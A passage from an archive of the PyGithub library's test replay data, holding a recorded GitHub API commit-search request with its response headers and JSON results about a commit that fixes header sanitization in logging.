instructions","tree":{"url":"https://api.github.com/repos/edggge/PyGithub/git/trees/b3ec599c419218eadc376e74520fae62a0cc5f60","sha":"b3ec599c419218eadc376e74520fae62a0cc5f60"},"comment_count":0},"author":{"login":"jamesbroadhead","id":1382141,"node_id":"MDQ6VXNlcjEzODIxNDE=","avatar_url":"https://avatars.githubusercontent.com/u/1382141?v=4","gravatar_id":"","url":"https://api.github.com/users/jamesbroadhead","html_url":"https://github.com/jamesbroadhead","followers_url":"https://api.github.com/users/jamesbroadhead/followers","following_url":"https://api.github.com/users/jamesbroadhead/following{/other_user}","gists_url":"https://api.github.com/users/jamesbroadhead/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesbroadhead/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesbroadhead/subscriptions","organizations_url":"https://api.github.com/users/jamesbroadhead/orgs","repos_url":"https://api.github.com/users/jamesbroadhead/repos","events_url":"https://api.github.com/users/jamesbroadhead/events{/privacy}","received_events_url":"https://api.github.com/users/jamesbroadhead/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"jamesbroadhead","id":1382141,"node_id":"MDQ6VXNlcjEzODIxNDE=","avatar_url":"https://avatars.githubusercontent.com/u/1382141?v=4","gravatar_id":"","url":"https://api.github.com/users/jamesbroadhead","html_url":"https://github.com/jamesbroadhead","followers_url":"https://api.github.com/users/jamesbroadhead/followers","following_url":"https://api.github.com/users/jamesbroadhead/following{/other_user}","gists_url":"https://api.github.com/users/jamesbroadhead/gists{/gist_id}","starred_url":"https://api.github.com/users/jamesbroadhead/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamesbroadhead/subscriptions","organizations_url":"https://api.github.com/users/jamesbroadhead/orgs","repos_url":"https://api.github.com/users/jamesbroadhead/repos","events_url":"https://api.github.com/users/jamesbroadhead/events{/privacy}","received_events_url":"https://api.github.com/users/jamesbroadhead/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"url":"https://api.github.com/repos/edggge/PyGithub/commits/77fc4e0f9ca22246951e3ec439e02b5d3ad6e93e","html_url":"https://github.com/edggge/PyGithub/commit/77fc4e0f9ca22246951e3ec439e02b5d3ad6e93e","sha":"77fc4e0f9ca22246951e3ec439e02b5d3ad6e93e"}],"repository":{"id":266920241,"node_id":"MDEwOlJlcG9zaXRvcnkyNjY5MjAyNDE=","name":"PyGithub","full_name":"edggge/PyGithub","private":false,"owner":{"login":"edggge","id":64116391,"node_id":"MDQ6VXNlcjY0MTE2Mzkx","avatar_url":"https://avatars.githubusercontent.com/u/64116391?v=4","gravatar_id":"","url":"https://api.github.com/users/edggge","html_url":"https://github.com/edggge","followers_url":"https://api.github.com/users/edggge/followers","following_url":"https://api.github.com/users/edggge/following{/other_user}","gists_url":"https://api.github.com/users/edggge/gists{/gist_id}","starred_url":"https://api.github.com/users/edggge/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/edggge/subscriptions","organizations_url":"https://api.github.com/users/edggge/orgs","repos_url":"https://api.github.com/users/edggge/repos","events_url":"https://api.github.com/users/edggge/events{/privacy}","received_events_url":"https://api.github.com/users/edggge/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/edggge/PyGithub","description":null,"fork":false,"url":"https://api.github.com/repos/edggge/PyGithub","forks_url":"https://api.github.com/repos/edggge/PyGithub/forks","keys_url":"https://api.github.com/repos/edggge/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/edggge/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/edggge/PyGithub/teams","hooks_url":"https://api.github.com/repos/edggge/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/edggge/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/edggge/PyGithub/events","assignees_url":"https://api.github.com/repos/edggge/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/edggge/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/edggge/PyGithub/tags","blobs_url":"https://api.github.com/repos/edggge/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/edggge/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/edggge/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/edggge/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/edggge/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/edggge/PyGithub/languages","stargazers_url":"https://api.github.com/repos/edggge/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/edggge/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/edggge/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/edggge/PyGithub/subscription","commits_url":"https://api.github.com/repos/edggge/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/edggge/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/edggge/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/edggge/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/edggge/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/edggge/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/edggge/PyGithub/merges","archive_url":"https://api.github.com/repos/edggge/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/edggge/PyGithub/downloads","issues_url":"https://api.github.com/repos/edggge/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/edggge/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/edggge/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/edggge/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/edggge/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/edggge/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/edggge/PyGithub/deployments"},"score":1.0}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Search.testSearchCommitsOrder.txt0000644000175100001660000010172614756101563024567 0ustar00runnerdockerhttps GET api.github.com None /search/commits?sort=author-date&order=asc&q=hash%3A1265747e992ba7d34a469b6b2f527809f8bf7067+merge%3Afalse {'Accept': 'application/vnd.github.cloak-preview', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 07 Jan 2025 19:43:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'no-cache'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=cloak-preview'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '30'), ('X-RateLimit-Remaining', '27'), ('X-RateLimit-Reset', '1736279046'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'search'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '8326:3E1E16:366DEA5:37AB976:677D83D0')] {"total_count":4,"incomplete_results":false,"items":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1265747e992ba7d34a469b6b2f527809f8bf7067","sha":"1265747e992ba7d34a469b6b2f527809f8bf7067","node_id":"MDY6Q29tbWl0MzU0NDQ5MDoxMjY1NzQ3ZTk5MmJhN2QzNGE0NjliNmIyZjUyNzgwOWY4YmY3MDY3","html_url":"https://github.com/PyGithub/PyGithub/commit/1265747e992ba7d34a469b6b2f527809f8bf7067","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1265747e992ba7d34a469b6b2f527809f8bf7067/comments","commit":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1265747e992ba7d34a469b6b2f527809f8bf7067","author":{"date":"2021-06-02T15:00:00.000+10:00","name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"date":"2021-06-02T15:00:00.000+10:00","name":"GitHub","email":"noreply@github.com"},"message":"Do not transform requestHeaders when logging (#1965)\n\nRequester.__log() sanitizes the headers of the request so that\r\nauthentication details are not logged, but this has the side effect of\r\nmeaning that future requests that use the same Requester object will\r\nfail. Usually, this is perfectly fine, since almost every method will\r\nonly make one request -- where this falls down is when we make another\r\nafter a redirect. Make a copy of the requestHeaders, and sanitize those.\r\n\r\nFixes #1959","tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/6e5b9e20c26a6b3ba8c5481a8e2896bb72a91bbb","sha":"6e5b9e20c26a6b3ba8c5481a8e2896bb72a91bbb"},"comment_count":0},"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a","html_url":"https://github.com/PyGithub/PyGithub/commit/ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a","sha":"ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a"}],"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"score":1.0},{"url":"https://api.github.com/repos/gquesnell/test3/commits/1265747e992ba7d34a469b6b2f527809f8bf7067","sha":"1265747e992ba7d34a469b6b2f527809f8bf7067","node_id":"MDY6Q29tbWl0NDA0ODg5Mzg1OjEyNjU3NDdlOTkyYmE3ZDM0YTQ2OWI2YjJmNTI3ODA5ZjhiZjcwNjc=","html_url":"https://github.com/gquesnell/test3/commit/1265747e992ba7d34a469b6b2f527809f8bf7067","comments_url":"https://api.github.com/repos/gquesnell/test3/commits/1265747e992ba7d34a469b6b2f527809f8bf7067/comments","commit":{"url":"https://api.github.com/repos/gquesnell/test3/git/commits/1265747e992ba7d34a469b6b2f527809f8bf7067","author":{"date":"2021-06-02T15:00:00.000+10:00","name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"date":"2021-06-02T15:00:00.000+10:00","name":"GitHub","email":"noreply@github.com"},"message":"Do not transform requestHeaders when logging (#1965)\n\nRequester.__log() sanitizes the headers of the request so that\r\nauthentication details are not logged, but this has the side effect of\r\nmeaning that future requests that use the same Requester object will\r\nfail. Usually, this is perfectly fine, since almost every method will\r\nonly make one request -- where this falls down is when we make another\r\nafter a redirect. Make a copy of the requestHeaders, and sanitize those.\r\n\r\nFixes #1959","tree":{"url":"https://api.github.com/repos/gquesnell/test3/git/trees/6e5b9e20c26a6b3ba8c5481a8e2896bb72a91bbb","sha":"6e5b9e20c26a6b3ba8c5481a8e2896bb72a91bbb"},"comment_count":0},"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"url":"https://api.github.com/repos/gquesnell/test3/commits/ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a","html_url":"https://github.com/gquesnell/test3/commit/ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a","sha":"ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a"}],"repository":{"id":404889385,"node_id":"MDEwOlJlcG9zaXRvcnk0MDQ4ODkzODU=","name":"test3","full_name":"gquesnell/test3","private":false,"owner":{"login":"gquesnell","id":68558303,"node_id":"MDQ6VXNlcjY4NTU4MzAz","avatar_url":"https://avatars.githubusercontent.com/u/68558303?v=4","gravatar_id":"","url":"https://api.github.com/users/gquesnell","html_url":"https://github.com/gquesnell","followers_url":"https://api.github.com/users/gquesnell/followers","following_url":"https://api.github.com/users/gquesnell/following{/other_user}","gists_url":"https://api.github.com/users/gquesnell/gists{/gist_id}","starred_url":"https://api.github.com/users/gquesnell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gquesnell/subscriptions","organizations_url":"https://api.github.com/users/gquesnell/orgs","repos_url":"https://api.github.com/users/gquesnell/repos","events_url":"https://api.github.com/users/gquesnell/events{/privacy}","received_events_url":"https://api.github.com/users/gquesnell/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/gquesnell/test3","description":"test3 description","fork":false,"url":"https://api.github.com/repos/gquesnell/test3","forks_url":"https://api.github.com/repos/gquesnell/test3/forks","keys_url":"https://api.github.com/repos/gquesnell/test3/keys{/key_id}","collaborators_url":"https://api.github.com/repos/gquesnell/test3/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/gquesnell/test3/teams","hooks_url":"https://api.github.com/repos/gquesnell/test3/hooks","issue_events_url":"https://api.github.com/repos/gquesnell/test3/issues/events{/number}","events_url":"https://api.github.com/repos/gquesnell/test3/events","assignees_url":"https://api.github.com/repos/gquesnell/test3/assignees{/user}","branches_url":"https://api.github.com/repos/gquesnell/test3/branches{/branch}","tags_url":"https://api.github.com/repos/gquesnell/test3/tags","blobs_url":"https://api.github.com/repos/gquesnell/test3/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/gquesnell/test3/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/gquesnell/test3/git/refs{/sha}","trees_url":"https://api.github.com/repos/gquesnell/test3/git/trees{/sha}","statuses_url":"https://api.github.com/repos/gquesnell/test3/statuses/{sha}","languages_url":"https://api.github.com/repos/gquesnell/test3/languages","stargazers_url":"https://api.github.com/repos/gquesnell/test3/stargazers","contributors_url":"https://api.github.com/repos/gquesnell/test3/contributors","subscribers_url":"https://api.github.com/repos/gquesnell/test3/subscribers","subscription_url":"https://api.github.com/repos/gquesnell/test3/subscription","commits_url":"https://api.github.com/repos/gquesnell/test3/commits{/sha}","git_commits_url":"https://api.github.com/repos/gquesnell/test3/git/commits{/sha}","comments_url":"https://api.github.com/repos/gquesnell/test3/comments{/number}","issue_comment_url":"https://api.github.com/repos/gquesnell/test3/issues/comments{/number}","contents_url":"https://api.github.com/repos/gquesnell/test3/contents/{+path}","compare_url":"https://api.github.com/repos/gquesnell/test3/compare/{base}...{head}","merges_url":"https://api.github.com/repos/gquesnell/test3/merges","archive_url":"https://api.github.com/repos/gquesnell/test3/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/gquesnell/test3/downloads","issues_url":"https://api.github.com/repos/gquesnell/test3/issues{/number}","pulls_url":"https://api.github.com/repos/gquesnell/test3/pulls{/number}","milestones_url":"https://api.github.com/repos/gquesnell/test3/milestones{/number}","notifications_url":"https://api.github.com/repos/gquesnell/test3/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/gquesnell/test3/labels{/name}","releases_url":"https://api.github.com/repos/gquesnell/test3/releases{/id}","deployments_url":"https://api.github.com/repos/gquesnell/test3/deployments"},"score":1.0},{"url":"https://api.github.com/repos/anaduque13/Technical-Take-home/commits/1265747e992ba7d34a469b6b2f527809f8bf7067","sha":"1265747e992ba7d34a469b6b2f527809f8bf7067","node_id":"MDY6Q29tbWl0NTAzOTIxMTkzOjEyNjU3NDdlOTkyYmE3ZDM0YTQ2OWI2YjJmNTI3ODA5ZjhiZjcwNjc=","html_url":"https://github.com/anaduque13/Technical-Take-home/commit/1265747e992ba7d34a469b6b2f527809f8bf7067","comments_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/commits/1265747e992ba7d34a469b6b2f527809f8bf7067/comments","commit":{"url":"https://api.github.com/repos/anaduque13/Technical-Take-home/git/commits/1265747e992ba7d34a469b6b2f527809f8bf7067","author":{"date":"2021-06-02T15:00:00.000+10:00","name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"date":"2021-06-02T15:00:00.000+10:00","name":"GitHub","email":"noreply@github.com"},"message":"Do not transform requestHeaders when logging (#1965)\n\nRequester.__log() sanitizes the headers of the request so that\r\nauthentication details are not logged, but this has the side effect of\r\nmeaning that future requests that use the same Requester object will\r\nfail. Usually, this is perfectly fine, since almost every method will\r\nonly make one request -- where this falls down is when we make another\r\nafter a redirect. Make a copy of the requestHeaders, and sanitize those.\r\n\r\nFixes #1959","tree":{"url":"https://api.github.com/repos/anaduque13/Technical-Take-home/git/trees/6e5b9e20c26a6b3ba8c5481a8e2896bb72a91bbb","sha":"6e5b9e20c26a6b3ba8c5481a8e2896bb72a91bbb"},"comment_count":0},"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"url":"https://api.github.com/repos/anaduque13/Technical-Take-home/commits/ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a","html_url":"https://github.com/anaduque13/Technical-Take-home/commit/ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a","sha":"ed7d0fe94f063d228a7dd95b7df5ae1bedb0707a"}],"repository":{"id":503921193,"node_id":"R_kgDOHgk6KQ","name":"Technical-Take-home","full_name":"anaduque13/Technical-Take-home","private":false,"owner":{"login":"anaduque13","id":107579908,"node_id":"U_kgDOBmmKBA","avatar_url":"https://avatars.githubusercontent.com/u/107579908?v=4","gravatar_id":"","url":"https://api.github.com/users/anaduque13","html_url":"https://github.com/anaduque13","followers_url":"https://api.github.com/users/anaduque13/followers","following_url":"https://api.github.com/users/anaduque13/following{/other_user}","gists_url":"https://api.github.com/users/anaduque13/gists{/gist_id}","starred_url":"https://api.github.com/users/anaduque13/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/anaduque13/subscriptions","organizations_url":"https://api.github.com/users/anaduque13/orgs","repos_url":"https://api.github.com/users/anaduque13/repos","events_url":"https://api.github.com/users/anaduque13/events{/privacy}","received_events_url":"https://api.github.com/users/anaduque13/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/anaduque13/Technical-Take-home","description":null,"fork":false,"url":"https://api.github.com/repos/anaduque13/Technical-Take-home","forks_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/forks","keys_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/keys{/key_id}","collaborators_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/teams","hooks_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/hooks","issue_events_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/issues/events{/number}","events_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/events","assignees_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/assignees{/user}","branches_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/branches{/branch}","tags_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/tags","blobs_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/git/refs{/sha}","trees_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/git/trees{/sha}","statuses_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/statuses/{sha}","languages_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/languages","stargazers_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/stargazers","contributors_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/contributors","subscribers_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/subscribers","subscription_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/subscription","commits_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/commits{/sha}","git_commits_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/git/commits{/sha}","comments_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/comments{/number}","issue_comment_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/issues/comments{/number}","contents_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/contents/{+path}","compare_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/compare/{base}...{head}","merges_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/merges","archive_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/downloads","issues_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/issues{/number}","pulls_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/pulls{/number}","milestones_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/milestones{/number}","notifications_url":"https://api.github.com/repos/anaduque13/Technical-Take-home/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/anaduque13/T